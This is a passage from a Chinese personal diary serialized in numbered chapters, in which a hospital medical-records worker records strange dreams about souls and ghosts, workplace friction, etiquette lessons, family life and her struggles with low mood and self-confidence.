    昨日之梦，梦的一开始是梦到一条路，然后梦里的我是被什么黑色的东西包裹住了。然后正往这条路走。然后下一个场景就是被人从那条路上拉回来了。然后下一个场景，就是梦里出现了一团很大的黑色的东西，后面它就在狂笑。然后再后面就是下一个场景，老公带我去买衣服，店里的衣服很美。不过梦里的我并没有想要买。然后看到了一个人她身上穿的流苏一样暗黄色的裙子。我看了她一下，我觉得她的衣服不算好看。她说：你怎么突然正常了。我有点疑问。我怎么突然正常了，我一直也这么正常啊。然后下一个场景就是梦到了一个别墅，别墅里有一个孩子说生病了。然后梦到书记的老婆说让我治好它。梦里它的灵魂是白色的。给它用了一种粉红色的药片。后面的梦里我好像是那个孩子，然后另一个孩子给了我药片。后面的第二天小朋友仍然并没有完全好起来。梦里说那个孩子一病就得病三年，它只是不想让我们忘记它。它是谁？
    还说我怎么突然正常了，我一直都这么正常好吧！
    那个给那个孩子找药片的梦，之前还有内容忘记了。
    后面想到了祸鬼。因为看见了它。不过它应该没有什么关系。灾难它其实就是我们的考卷。

 第493章

    昨天老师说需要我去一下档案馆学习他们的工作方法，好的学到来用在我们这里，预计花费时间大概一两个小时。然后昨天我就和主任说了这个事，早上拿完报纸，打好冷水我就骑车去了，在医院的时候看到了老师，打了个招呼，忘记和她讲我要去档案馆。然后微信讲了一下，但是也没有讲明白。后面我就去档案馆了，然后就把自己表达清楚了，然后后面就找到了他们的领导和档案馆的领导说明了一下情况，然后他们领导说需要我们医院出一个介绍涵。然后需要领导和他们的分管领导对接一下。后面我就把和他们交谈的情况发给了主任，因为主任的办公室离我们这里很远，分管的是另一个老师。
    然后老师好生气，说我好没有礼貌，去了哪里都不和她交代一下，比如拿报纸，或者其他的，她上午的工作好忙。然后好生气，就讲了好几句。然后我就没有说话。想了一下说下次不会这样子了。
    还说我是不是要当领导？我说我对当领导不感兴趣，不晓得会不会当业务员之类的。比如和人聊天。
    我觉得档案室的工作人员很优秀耶。第一开始去的第一层楼，然后简要说明了情况，她们就好好交代了我要去领导那里沟通，然后领导在三楼上班，他们八点半上班需要等待一下，后面我发现三楼有灯，就问了一下，然后上去了，发现是员工，她们在吃东西，马上请就坐，然后给我倒了茶。然后我突然之间想到我们病案室没有茶叶没有杯子。我们也需要添加，后面的话，就见到了另一个领导，然后就去了二楼看到了另一个领导然后+到了他的微信，他和我说了需要介绍涵。更正规一点。后面推荐了下一个老师，可以给我进行指导的老师，不过那个老师在上海还没有回来，可以星期一带到介绍涵一起过来。
    总之人家好有礼貌，我还需要学会很多东西，才有形象，因为我和他们领导说话，还是有点子表达不清楚，可能是因为害怕，也可能是因为他们的气场比较足，而和职员沟通我就稍微能够说清楚。自我介绍还是要多练。
    主任希望我们科里的人非常不错，出去能够表达清楚，能够协调好科室。这个目标很大，压力有感觉到，因为说话是有点子不足。需要提升，与人交谈我很难表现的流畅。这是我的缺点。我需要提升。
    后面吃饭的时候心情就像长毛了一样。
    以后要每天打一壶开水，要每天打两桶冷水。因为我们这里没有洗手盆水龙头之类的。一开始是两天打一壶。刚习惯一个规则，又改了，我需要适应一下。还有水我提的一桶，以后要两桶。
    今天上午不算很开心，因为我的表达没有完美，我希望自己能够提升，但是我又比较有勇气，这是我欣赏的点，我希望我是有勇有谋的人吧！
    还有老师的工作很容易生气，然后听她说一些好麻烦的事，我容易被传染，怎么样才能不被负能量传染呢？这是我需要思考的事情。下午还有一个表需要改一下，空白页我都不晓得删，网上找了方法，但是不晓得用。下午要堆病历，要收病历，还有需要把那个表做好，还有录电脑2022年12月份的信息，还有需要发通报，把那些需要通报的写下来。我感觉我看的病历不够，然后我需要多看一些，十号以前要做出来。

 第494章

昨日之梦，梦境梦到了我和一个女生结婚了，我和她同性恋。梦境里是一个暗一点的空间。怎么会梦到这个。
    女孩子她很温柔。她的父母并不知道，他以为我是男的。等我们打了结婚证，才发现我也是女的，梦境里，她被她爸爸拖走了，梦里的空间真的是一片灰暗。梦里的我还准备了上交工资卡，我都给她了。
    真的是。
    然后下一个场景，梦里梦到了很大的黑色的灵魂，它可能也很难过吧！它说你怎么会同性恋。
    后面下一个场景梦到了一个牛头的男孩子，他大概几岁子，坐的很高，然后说：没有人会无缘无故的喜欢你。
    后面他的头变成了红色。他待在一个顶上。笑嘻嘻的。
    好吧！凡事都有因果。

 第495章

    今天上午听礼仪课，老师还可以，讲课的气氛很好。我觉得好，因为礼貌很重要。下课了以后也听到有的同事说课氛围好但是内容一般般。不过那个同事她平时的礼仪其实做的还蛮不错的，总是能给别人一种很舒服的感觉。可能她拥有了老师教的能力，所以会觉得一般，而我觉得很好，因为我发现了这是我需要的成长的养分。
    收获：站姿的方法，等以后等电梯了，我就可以这样子站，然后可以减肥，还给人家一种我精神状态很好的感觉。以前在某本书里学过这个，但是我差不多忘记内容了。现在正好用上去。抬头目视前方，右手贴大腿，左手贴住后背腰部的地方，然后挺胸，双肩外展下沉。两大腿贴紧，大腿用力，膝盖内收，脚尖分开。然后保持三分钟，后面就可以放松，然后站姿就特别的挺拔，有活力的感觉。
    然后说话的音调往上，可以对人家说你好，早上好，然后可以激活我们的微笑表情肌，就可以自然而然的微笑了。而且不累，心里面说“呀”的声音。
    然后第二个提升形象。穿着。这是我最需要的。
    对老师的印象比较好，上次那个批评我们的老师也很不错。两个老师都有自己的好的点值得我去学习。
    他们会说伙伴们，朋友们，非常的有亲和力。不会反感的感觉。这是我需要学习的东西。
    我在考虑我要不要剪头发。我好想剪短发，做一个发型。但是不知道合不合适。
    买了两个柜子，一个豆浆机。柜子的颜色和桌子的颜色一样，但是不知道为什么我比较心仪的是另一款柜子。可能我需要再买。我天天都惦记那个柜子。另外一个是粉红色的架子，其实我想买整体一个颜色的柜子，我不知道我要不要再买？其实想买。主要的功能是好看。想把我们的家变得漂亮一点，可是我又舍不得花钱。那种舍不得的心态很多。然后我感觉妈妈有点不开心，我称呼家婆也叫妈妈。她在家很好，但是我也不知道她为什么不开心？想买一些山药，然后让她养脾胃。我感觉她的湿气进入了血。但是我也讲不出什么道理来？然后有没有什么好方法可以解决？毕竟我学的护理。又不是中医。所以要学的东西很多，但是会感觉自己会感觉压力大，会不会什么知识都想要学会，会不会太贪婪了？可是我又需要学。我的性格比较懦弱一点。
    我也不想这么懦弱。但是我会。
    感觉自己的心情又在发霉。能不能不发霉呢？我现在需要解决的事情，快点解决。
    生活里有很多的技巧，书本里也有，但是很希望我能够拥有的是我能好好学以致用。用下去。

 第496章

昨日之梦，梦里面是梦到了一个圆圆的灵魂，周围有灰色的化成了网格装，然后她在我的脑子里笑，但是没有恶感。然后我梦里面在搞质控。
    梦里她讲了什么，我怼回去了。然后下一个场景，就是梦到了一个家，家里的餐桌上端上来一盘肉，然后我动了一下骨头，然后那个梦我退出去了，下一个场景，就是坐车去什么地方？

 第497章

    今天还是听课，一模一样的内容，温故而知新。其实我有点子烦燥，要学一样的，突然之间想到了这句名言，然后就平静下来了，今天的状态再去看老师，有点子佩服那位老师的流程，这种讲课模式就和我们护理上的操作考试一样，这个可以得八十多分。
    后面就结束了。我发现我还有杂志没有送，病历并没有看多少本。今天和医生一起吃饭。他们解答了我的困惑。他们儿科上个月没有发绩效。然后我听说了以后以为是因为我质控太严的原因，后面我的心情很差。这几天都看不进一本病历。堆了一堆，好难受。后面听说没发的原因是因为病人太少。我的心情稍微好受了一些。快下班了，因为一些事情去看了一下儿科，发现护士长和科主任都在忙，那个时候都六点多了。我不晓得我要回应他们什么，交代完事情，就默默遁走，其实我需要更好一点离开，需要学会告辞，更有礼貌一些，其实为人说话方面我需要提升。
    然后看了前两年的状态，发现状态确实一般般。看了以后感觉自己的不开心都传递到了现在。我也不知道我到底是有多不开心？
    其实这几天我也不太开心，这几天的课都强调，不开心是因为有需求没有被满足，所以导致有这样子的行为，但是我的需求又是什么呢？我没有满足我自己什么呢？
    客户至上，服务为先。如果我是我自己的客户，我需要为我自己提供什么样的服务才会让我感觉到开心呢？
    言之有术，话术其实我需要学习，但是我应该怎么样学呢？我的思想还正常吗？能够用端正的态度去看待言之有术这个词语吗？我会不会感觉我在欺骗别人，如果用话术工作的话，可是有的时候好一点的态度确实会让人更开心一些。可是我感觉好别扭，有一种说那么多好听的，会不会是骗人的事呢？
    我的b站号加了同事，我感觉我冲动了，因为我怕发生了都让人知道，同事真的会真心的赞美和欣赏自己吗？还是来一堆的攻击性语言？总之冲动了。能够用真心去喜欢自己的人很难得到，自己也很难真心喜欢别人。

 第498章

昨日之梦。梦境不是很好看。大概的内容也忘记了。只梦见几个灰色的灵魂在脑子里吵。
    后面想到了死去的人，其实我也不太想写。为什么我老是会想起死去的那几个人，我觉得她们给我的负能量应该消除了，但是我仍然梦见了这几个事。梦里我好想哭，但是我的理智打断了，梦里面的我在说我感觉这个世界好冷。
    昨天家公说今天可能会下雨，然后我就不想走的去上班，昨天吃太多草莓了肚子不太舒服。有点子凉，因为草莓应该是被冷藏过了。

 第499章

    梦境，梦里面是在我们医院看到了一个导诊的护士，她的笑容很美，然后我也回报了笑容给她，然后我就跑的去病案室上班了。
    心情还算愉快。
    昨天的心情还可以。我以为我挨骂了我会非常不爽。但是我发现我没有。前几天老师教我做事。我也是按老师教的来，但是今天她们又说不是这样子做事，然后就说我不好，没有水平。我在想这不就是在整我吗？肯定又是哪一个大佬的亲戚可能要安排到这个地方上班。所以会发生这种情况，我都熟了。这几天都没有什么归属感。因为人家觉得你在这里上班过的特别的爽。如果一旦让别人觉得你的日子非常爽，那你马上就要不爽了。
    但是我也没有办法解释什么？我说过的不好，那会损伤我科室的名誉。毕竟领导同事他们都对我很好。也确实是好不容易遇到一个让我感觉比较温暖的科室。我说我过得好，那就容易被挤。我换了那么多科室，一没有归属感，二总感觉自己不如别人。然后好多批评了以后，整个人都萎靡不正，没干劲了。领导说你都做的不好，和很多人进行了调研，你很差。然后我就随你看着办。就这样子一个工作流程。
    他们说怕我会告状，会告诉我老公，我老公也就一个私人企业的小职员，告诉了又能怎么样呢？以后的话，如果实在过不好，就去山里种地，你有什么办法？窝家里本来就是种地的，就算读书努力，进了单位，那些弯弯绕绕的东西，窝不晓得，该怎么应付？别人看你的眼神就是感觉我是个二百五，强烈的感觉到自己不如别人。好像自己被鄙视了一样。
    马斯洛理论我至今还停留在生理层，我也没办法。这需要我自己好好努力，就算思维模式不一样我也要好好努力。我很感谢我的原生家庭，也很感谢现在的家庭。虽然我知道我以前抱怨过他们但是确实生活带给了我很多的温暖。这种温暖时常会感觉不到，因为被很多东西遮掩了。但是我会让我感觉到的。

 第500章

昨日之梦。梦里面在看一个人走一条路，然后那条路有监控。反正前面还有好多内容想不起来了。
    然后那个场景里就是碰到了一个店面，那个店面里写好了什么。已还。然后就是下一个场景，那个场景里有一个偏灰色的灵魂在路上跟着她说她没有天天动。然后就是下一个梦境，那个梦里面出现了一个男的，感觉他不是人类的感觉，感觉很像阿飘，他好轻，然后梦里的他在笑，他笑起来好多黑色的东西在滚滚动。不知道啥意思。
    梦里的我好想听到了音乐，音乐还好听。然后梦里的人好像对我说了什么，不过我并没有听懂。

 第501章

    刚刚又睡了一会儿，又进入了梦境，其实我感觉我没有睡着，梦见了一些阿飘，但是我不认识他们，阿飘说他们是阿飘。然后好多灰色的能量，然后进入了下一个地方，梦里面是一个拥有播音腔的人在讲话而且是非常正式的话，就像是他在上电视台一样，但是不知道他讲什么内容，那个时候我在想阴间的生活也是多姿多彩的。
    然后进入了下一个场景，那个场景里有一个女孩子，她和我说她在我们妇幼的一个地方好像感觉到了鬼，有好多笑声。然后那个女孩子是在另一个地方，然后其他的女孩子也是这样子讲的。
    然后就是下一个场景，那个场景里我们去了我们妇幼的一个地方，但是这个梦境的空间里不是现实的空间，梦里面是一片平原，然后那里有一个牌子，名字叫：慌闷&。但是梦里面女孩叫那个牌子叫的是另外一个名字。我就非常惊讶的看着她，后面就是好多黑色的灵魂好像在绑着我一样，老师帮我赶走了一些。然后就是梦到了导诊的老师请我按什么？然后又换了一个场景梦里的我像一个黑色的灵魂一样，而且特别的黑，在我们的医院不停的飞，梦里的我在笑，但是那个笑容特别的奇怪，就像鬼本人一样。而且黑的特别的浓郁。
    然后下一个场景，梦到了我们医务科聚餐，梦里面梦到了同事，她们在吃油油的米果，梦里面他们很开心的吃东西。我在想他们不是说要减肥的吗？然后下一个场景有一个女孩子突然过来了，她拿了一个体温表给我们看，可能是说自己没有发烧。然后主任说没有发烧就还更好。然后体温表可以留下来。然后梦里面她说她要带上这个东西，然后她往头上绑了一串假发，还有一些碎花的绑带。她整个人看起来很好看，很温柔优雅，小家碧玉的样子，然后抬头看了我一眼，说我这个人好有心机。我整个人？
    后面醒了才六点多。老公说他也做了个梦，梦见我们两个都是鬼，但是我们生了儿子，而我们女儿崽崽特别的孤独，她一直没有说话，也不和人家玩。
    还有一个场景，梦到了新生儿科的护士长，梦里他们好像在吃饭，然后梦里的我就像一个小朋友一样看着她，她看起来很严肃的感觉。然后我也非常懵懂的出了这个场景。
    我还是搞不懂为什么我会像一个没有光亮的球一样。

 第502章

    今天的心情，感觉有点提不起性质来，我本来想买一堆书的，但是很担心老公会觉得好贵，或者他会讲我，所以没有买，但是老公他说了我可以买，我以前买他也没有拒绝我，但是不知道为什么我会不想，然后不想。后面就好难过了。然后就是刷视频，我本来关于今天是有计划的，我的计划我一个都不动。我好像驱动不了我自己了，在做我并不是心里很喜欢但是在无限拖延的事。
    所以我就买了。
    但是买了好像也没有什么太大的差别，毕竟我不想动，还是不想动。我不知道为什么我不想动。可能我喜欢买书，书对我的意义很大，但是我想等一会儿再买，等待的时间很漫长，我总是会延迟满足自己的小期待。我可能有种我不知道要等多久，或者永远也不去选择的意思！
    可能和小时候有关！满怀期待一件事，但是这是骗人的，永远都不干的事，久了以后，就慢慢变得很失望，不想动。应该是这样子！
    懒懒的人并没有感觉到你期待的幸福。我不知道为什么会有这种想法。

 第503章

    今天是清明节。清明时节雨纷纷，路上行人欲断魂。今天晚上下了好多雨。本来我今天的计划是洗衣服，手洗。然后就是看编码视频还有编码书，然后再练一会儿毛笔字，下午五点左右跳一会儿舞。这是我的今日计划。实际上是早上选了一堆书没有及时付款，然后就不开心了一整天，整个人都是像霜打了的茄子一样，动不了，像电脑卡bug，然后吃完了东西玩手机，玩手机，问题是我还没有一点开心的感觉。不过我看到了陈果老师的课程，我只能说哇。她的课里面讲了一个教授非常的开心，然后整个人散发出不可描述的快乐，然后不停的由内而发的发自内心的透入出来，然后憋了很久问了一下，才知道教授很开心买了一条裤子十五块。应该是有一种物超所值的感觉。质量肯定没的说。哇！我听了也很开心。重点是对于我来说他们相对来说是大人物，而他们平易近人。反正我也不知道怎么形容这种感觉，可能我对身份有自卑感？或者其他的原因？或者脑子里会有一种认知：我们这种阶层的人只能穿很便宜的衣服，而比我们过的好的人，他们穿的衣服更贵。这种念头就是我可能会不开心，然后也很想买他们穿的衣服，然后买了又觉得不适合？我应该怎么形容这种矛盾心理呢？就像勤俭节约是中华美德，而我还在勤俭节约，但是我在读书的时候这样子做，可是我周围的同学说我很穷酸。一个苹果要吃的那么干净才扔。之类的。反正这种事就是很难受。很让人火大又不敢发火。而且说话也说我老是会问出屎来，有种我和同学格格不入的感觉，我的情商可能是一般般，不过这些事说明我同学也差不多，但是想起来就不爽到了极点。但是我一直都没有讲，只是现在才想起来。这件事再过江南都快过十年了。
    我每次都非常无奈，但是这是我特殊的保护机制。我的人生它在好好的保护我，免于我难受。等我在能够接受这份打击的时候再翻给我看，让我好好释怀。反正我还是比较感谢这份特殊的保护。它也让我产生了隔离。所以我需要成长，成长到能够自我保护为止。
    看到了一个人用坐标轴还有函数解释修仙的原理，看到了一个工地小伙子跳恋爱告急，他跳的真好看。搞得我也想学。看了《十二夜》，张柏芝真的好看，风情万种。爱情真的像生了一个大病一样。认识一个人产生十二种印象为一个轮回。不知道我怎么想的，如果一切都是幻境你会怎么办？那也好好成长是不是？
    我和恋爱脑不一样的地方在于现在的我比较清醒，我知道一切的感情都是自我投射的幻象，所以并不期待什么？也不失望于什么？在努力的关注自我内心的成长，不过老实说并没有太多的安全感。不过除了自己谁能给你安全感呢？如果跳出这个角色去看自己，肯定觉得自己好像有点问题，但是融入自己角色就会觉得一切正常。我所做的每个选择对于我来说都是最合理，最优化的。
    后面我看了表格的课程，希望我能学到东西！好好工作。
    今天清明节，家公说给老公送走五个鬼，叫我花了五个人的样子，他提了三种肉类，拿着我画的那张纸出去了。
    不晓得什么原理？这世界奇奇怪怪的事很多，懒得想那么多。不过最近我确实有点子奇怪，不过我不想写这种怪异，写出来会觉得我有点子奇怪，我该怎么分析这个事件？内心深层次的？

 第504章

    梦境，梦里面我是一个当朝为官的人的妻子。然后梦里我睡着了。躺在了一边，然后梦里面的我老公，他穿的衣服是那种黑色的，梦里老公有一个黑色的轿子来载他，他抱着我一起飞起来了，然后飞到了一个地方，那个地方其实是一个水潭，以前我也来娘家的这个地方洗衣服，夏天这里冷，冬天热，什么原理不清楚，我觉得应该是过滤水的作用。然后梦里的这个地方，里面有一个正方体，那个体里面有几个中国字，然后我就认得天地二字。还有两个我不认识。梦里面我们进入了那个世界，但是在进之前好像经历了胯下之辱一样，我也不知道他们wei为什么要这样子，感觉好恶心，但是我o没有表现出来。然后进入了这个世界，这个世界里好多高楼，然后出现了一个长发拖着长长尾巴的男人，我感觉他有点子像伏羲。反正就是这一种形象。然后梦里的他说我们的银河系是一个小小的分支，名字叫做：夜华罗源河。
    后面就醒了。我觉得这就是在扯淡。但是这个可以用做素材，编我的角色崽崽。

 第505章

    不知道怎么了，突然不是很开心。可能是冷风吹多了！有点子冷，然后我也有轻微的咳嗽了，拉肚子，感觉有湿气。而且又不怎么喝水，我除了中午喝了一碗汤，回家后喝了点水，其他时间都没有喝水。
    今天看到了ai的消息。突然想到了机器人男朋友，还有全息网游，等小说里描写的故事。他们的想法是希望国家好好弄好来，然后让我们国家发展中国会说中国话的ai毕竟歪果仁的产品离我们实际的文化太远了，有可能用的不舒服。除了价钱贵，还有的是与我们的文化不一样。期待！没准是一件好事呢？还有说ai会替代我们工作。然后导致失业的。不晓得。如果能活的没那么累其实也蛮好的。
    其实还有一个大胆的念头，我们会不会也是ai呢？算了不要瞎想那么多。好好让自己健康起来。
    崽崽萌萌哒。我需要给她买玩具。我小时候也是和崽崽一样的吗？她在用笔，然后笔玩了一会儿就坏了，看来以后要买多一点。我想要买微波炉，还有烤箱。
    好闷的感觉，不知道怎么了，昨天看了一会儿关于脑鸣的东西，后面就仔细的感觉发现自己也有，不知道这种状态怎么解决？更想知道的是看啥病自己就有啥病怎么解决，应该解决不了。
    中午的梦境，梦里面是一灰色的灵魂好像浮在了空中，然后看着什么？然后下一个场景是一团黑色的灵魂它在找什么的感觉。后面就醒了，感觉它是其他世界的生命体一样。反正想象就是这么想的。
    好困啊！

 第506章

昨日之梦，梦里是一个红色的灵魂说之前我没有讲。没有讲什么？什么没有讲？没懂。

 第507章

    今天东东请客吃饭，她结婚的典礼。应该是单纯请女方朋友吃饭，男方的人来的比较少，看到了雷哥，路易，世华，阿丘，小刘，欢欢冬英等他们。还看到了何医生。真的是好久不见，大家都已经为人妻为人母了，不过我们确实过了好多年。
    何医生不记得她年纪多大了，她以前在卫生院的时候，几乎每晚都来产妇。而且是几个几个来。然后护士几乎可以一晚上不睡觉的那种。反正也是非常操劳的一个人。佩服佩服。在她手上，搭过班。后面她就退休了。她带过路易，然后路易人很灵巧，会说自己是何医生的徒弟，然后那个时候路易手上好多产妇。因为何医生在当地非常大的名气。路易的护士长也来了，然后护士长说路易很优秀，会写材料好拼。这点很让我羡慕。路易瘦了好多，好美。不过路易说她没关系。我感觉她可能在暗暗的讲我，但是我其实也没但是人家猜我有，那就让她猜呗！生活不一样了，已经越来越远。曾经的她真的好美，现在的她仍然很好看。阿丘也是，她和小刘结婚了，生了女儿，说带娃娃好累。看起来确实比较憔悴。但是也还好，因为我一开始也是这样子的。所以很能理解。
    大家都叫我减肥。我也确实要瘦瘦的更好看，我羡慕人家美丽优雅的身材。加油！
    欢欢在休产假，她的样子看起来也很疲惫。不过也还好。产假都是这样子的，表面上这是休息，但是带宝宝也确实很辛苦，我们的妈妈在照顾我们的时候也是这样子的。虽然艰难，但是经历过了这一切比较容易对父母产生感恩的情绪。这是艰难的人生给我们的礼物。
    反正好好生存！

 第508章

    今天下午，有一个表需要医生打勾，然后他不肯打，说这个不是他打勾，这个是麻醉医生打勾，后面怎么讲都不听，就是说这是麻醉医生打勾，后面就叫麻醉医生下来了，和主任讲了，麻醉医生勾了。医生他还是讲这就是我们医务科的事情，不是他的事情。我当时的状态是有点子发抖。其实也没有多大的事情，但是不知道为什么他就是不勾。我觉得是医生的问题，这本病历是他的。他就是需要对他的病历负责。但是他不这样想，他认为是谁的错就是谁的勾。后面那张纸改了版本。明确医生勾那里，麻醉师勾哪里。护士勾哪里。我有点子发抖，但是也没有生气。我也不知道什么状态，后面眼泪好多，但是又不是悲伤的情绪。我也不晓得什么情绪。好难。也不是工作难，也不是工作难，不知道什么感觉。就是这是一张核对的纸。说明医务人员在做手术之前之后核对了患者信息。放宽心态来，反正我的工作就是要把工作做好，工作就是要和临床医务人员沟通。协调。把我该办的事办好。那个主任也不晓得他怎么回事，一个月两份病历，只交了一份。有可能他心情不好，也有可能别的原因，不晓得什么原因。
    我讲的人家不服我该怎么办？怎么去说服人家让人家整改呢？这是我要学的。

 第509章

    梦境，梦境里是一个男孩子，然后梦里面和他在一个山涯上。下面就是悬崖，然后梦里梦见的是一个鬼在交代他什么事，梦里面还有另外一个男孩，那个男孩他低头藏起来了，后面他掉下去了。梦里我也跟着那个男孩子掉下去了，那个梦里面没有一点点光泽，梦里面出现了一个轿子，然后梦境里他说他不会让什么吞噬我的内心？不过我并不明白他在讲什么？后面那个轿子飞了起来，变得明亮。然后下一个场景是家里来了一群的虫子。梦里的我没有任何的光芒，就像一个魔鬼一样。没有任何光芒了，脸上好多的笑容，但是很难受，我不理解这种难受。总之梦里的我一直都在笑，然后没有任何的光芒。后面梦见家里的卫生间长了一颗辣椒树，然后那颗辣椒树上长了很多茄子。我为什么要叫他辣椒树是因为它的叶子是辣椒树的叶子。然后我捏了一个茄子，然后茄子上长了虫子梦里的我很害怕那些虫子，虫子都在和我说一屋，一屋，一屋。后面虫子一直都在笑。然后下一个场景，梦到了一个村子，村子里有一个孩子考到了好的学校，然后她的妈妈告诉我们，有人为她出了钱。在哪里看到了这份通知书。梦里的我好像是一个白色的没有意识的灵魂一样，我也不知道我在梦里看什么，
    反正我什么都不懂。有好多内容想不起来了。
    可能这个梦，告诉我我不适合学医。不知道怎么得出这个结论的。把不正常的修理成正常的，这是以前碰到的医生对我讲的。这也是我坚持学习下的动力。

 第510章

    梦境，一开始的梦里面是一个鬼面人，然后那个鬼它的样子特别的诡异。然后一直在笑在操纵什么。我觉得它的出现是因为看过的视频，那个视频写的人类，有一个人类特别的不好看，灰漆漆的特别的像丧尸所以我会梦见这个鬼，后面梦境就把这个鬼选择性屏蔽了。
    然后下一个场景，梦里面是很大的空间，然后梦到了主任他们很明亮的灵魂，梦里我在喊他们，但是没有动，然后下一个场景，是我们医院食堂。然后我梦到了一个男的他的灵魂好黑，梦里我抬头看到了一下他，然后梦里的他说我什么。后面我就低头吃饭，把身子转了一个方向，然后我的前面还是看到了他，他又说了什么，我就没有回应，我也不晓得回答什么。
    然后就是下一个场景。梦里我是一个店的守店员。不晓得什么店。好像很早起床的样子，外面的天色都是一片黑的，然后开了门，就有一种奇怪的人进来吃东西。看起来它和我们这里的人不一样。我该怎么描述这一瞬间的感觉，头灰色，眼睛有点子蓝色，然后脸上有耐人寻味的感觉，好像它诡异的有个表情一样，但是梦里的我没有发觉。
    然后下一个场景就像我一瞬间迷糊了一下一样，那些客人跑过来对我说他们已经做好了饭，而且吃上了，说味道很好，叫我也一起，我当时还在迷糊，那个锅的地方不是正是我刚刚待的地方吗？吃的什么？然后我过去但是并没有发现什么？然后下一个场景就是感觉自己身上的衣服好奇怪。但是我好像不是卖衣服的，而且我觉得我身上的衣服很得体，但是梦里的我对我的衣服好像不开心。然后梦里我比划两件衣服，我发现都一样。然后梦里出现了一个人，他很明亮，他来拉我，上去。但是梦里的我拒绝了。
    然后下一个场景就是梦见了好多黑漆漆的东西它们检查我。然后就给他们看我的人生经历。然后梦里面问我某一年的事情。然后对他们说不是有监控。
    后面醒了，不晓得什么梦。怎么那么多奇怪的东西。

 第511章

    梦境，梦里面人家在查什么。后面不知道他们查了什么。我在想为什么要来查？不知道。
    后面睡着了然后出现了一个村子，梦里面我嫁到了那个村子，那个时候那个村子很穷，后面我们慢慢的条件变得更好了，就正在建房子。然后梦里面梦到了我妈妈，然后妈妈给我种了好多玉米，妈妈说以后你需要自己给自己种好吃的了，她每次来都很艰难，我说好的。后面就是在山里砍柴。然后回的时候看到了一只狗和几条毒蛇关在了一个笼子里。然后那个笼子突然打开了，有一条毒蛇正在朝我跑来，我就赶紧回家，然后打电话告诉大娘他们，门口有毒蛇跑出来了，然后就拿了伞往山里面跑。然后下一个场景，就是那条毒蛇，她变成了一个女孩子，她不停的骂我有病。她的灵魂是那种灰白色和黑色交织的灵魂。然后她不停的骂。梦里面的其他人都看着她，我也在梦里看着她。那个灵魂应该是我自己的！她每次都让我生病，不知道她是什么？贪欲？不清楚。
    还有很多场景想不起来了，只有这个记得到。
    管她呢？不知道她怎么做到的，而且那么精准的让我生病。但是真的需要好好的调整。看到了敌人，就是在想我该如何瓦解她。
    她每次出现的话，我都会想起一个人，然后我的脑子非常的拒绝想起他，本来也没有发生什么，但是不知道为什么就是会有这种状况？然后就不舒服。生病了，我也知道这肯定有问题，但是我不知道这是什么问题。有种诲的肠子都青了的感觉，但是也不后悔。不知道什么感觉，哎呀人生的历程就是这样子，什么样都好。

 第512章

    今天用豆浆机做了花生露，其实就是花生加点水，然后选模式，煮一下，后面就出来了，还是比较好喝的，那些渣我也吃掉了，不浪费，豆浆机声音并没有我想象的小，但是还可以，很满意。晚上做了玉米火腿肠和辣椒，剩下的就上次剩的菜再蒸一下，蒸了鸡蛋羹。够的我和老公一起吃了。
    今天做了一个ppt。自己做的模板，我觉得我还是需要改动一下。让图文更生动一点，如果要我讲课，还需要插入一些图片。这是主任交代的任务，做不做是一回事，做的好是另一回事。所以要去动。
    还有一个事，我学习了excel的用法，今天中午练习了一下，还是要多学习，内容快速填充，快速分析，还有怎么建立快捷方式。其实以前也学过，但是忘记了。今天上午听了陈果老师的《人生与人心》的课。学到的内容是：1、这个世界上总会有人瞧不起另一部分人，不用那么纠结和难受，我的处境能够让你感觉到快乐，这也是一种美德。2、有钱任性很正常，这并不意外，没钱没办法任性也很正常。最自由的是有钱的可以自制，没有钱的可以率性。3、我们感觉到不自由，很想做出格的事，是因为我们过的太压抑了，我们受苦了。但是自由不是出格。
    这是今天学到的内容。
    过些时间我需要给宝宝买尿不湿。今天给宝宝买了奶嘴。

 第513章

昨晚没有梦境。但是感觉到了一个红色的灵魂，男的！不认识
    昨晚有点子肚子胀，其实我只吃了一碗饭，倒是菜吃多了一点。
    今天没有走路去上班，因为来了亲戚，怕太累了，等过了这几天来。努力锻炼身体。
    看了一些内容，有人说他们写了几十万字的书，最终的收获只有几块钱。我也看了一下，我没有收获。不过我的目的不在挣钱，所以也没有什么。我写这个的目的是为了缓解我难受的情绪，我的情绪它很容易感觉到害怕没有安全感，然后它会躲猫猫一样躲起来，等我发现的时候它已经挤满了洪荒之力，很难受。

 第514章

    今天学到的内容。
    1、知识分子要做社会的良心，良知。
    能够上学，把事情做好，不是因为自己特别的能干，而是因为我们足够幸运。例如：高考没有不小心走错教室，没有突然拉肚子，家里没有发生大事让自己分心。能够顺利的考完试，是自己最幸运的事。就像有很多人很聪明，有很好的天分，但是他们的家庭条件没有达到让他上大学的基础，所以他们早早闯社会去了。我们能够当知识分子，能够上学，是因为足够的幸运。还有这种教育机制，如果换一种教育机制呢？结果会不会不一样。陈果老师说这句话的时候，我的眼泪不自觉就流出来了。我并没有感觉很深的触动，因为我很早就懂这个道理。但是再一次看到这样子的话从老师的口中出来，就还是有流泪的冲动。我不明白为什么？也许我就记录一下这份感动就好了。
    以前我不太喜欢被说自己幸运，后来我接受了，因为我觉得我确实比较幸运。所以生活也还好。
    2、小人之学。搞好自己的个人卫生，和思想不同的人相处融洽，会开车，这是我要学的东西。大概的内容忘记了，反正好多，这就是小学。反正对照一下，自己其实算小学没毕业。要收拾房间，多拖地打扫卫生。我也不知道我这份一时兴起我能做多久，我真的很想干好。
    就学习了八分钟。

 第515章

昨日之梦。梦里面是一个正方形，正方形里面是一颗黑色的心，然后我躺在床上看到了那个正方形，我问为什么这个心是黑色的，它应该是红色的呀！然后问你知道它是什么意思吗？他说：不知道。然后梦里和他说：玲珑骰子安红豆，入骨相思知不知？
    后面进入了一个黑色的空间。黑的不行，梦里面我也不知道在干嘛。然后我在想那颗心为什么会是黑色的，难道是上了油漆？然后走着又碰到了什么？不记得碰到了什么，梦见梦里的我被人家拆了，有好多神经元连接着大脑，按理来说这个也很正常啊！哪个人不是神经元连接大脑的？然后梦里面得到了一款罚单。扣一千块，但是不知道什么意思。

 第516章

    梦境，梦里面是一个彩色的包，然后我提着它跑出门，后面又在想这是我的包吗？然后又放回去了，提了一个黑色的。这是什么意思？
    天下乌鸦一般黑，而这句话其实是人家在夸你，因为你黑的真不一般。这个是在某个喜欢的博主那里看到的，不知道为什么脑子里会多次循环这句话。可能她的文采确实很好，让人很惊艳，所以过目不忘！还有一种可能性，我的脑子它可能是在用这句话骂我。它骂的原因很正常，因为我的状态并没有达到很愉悦的状态。
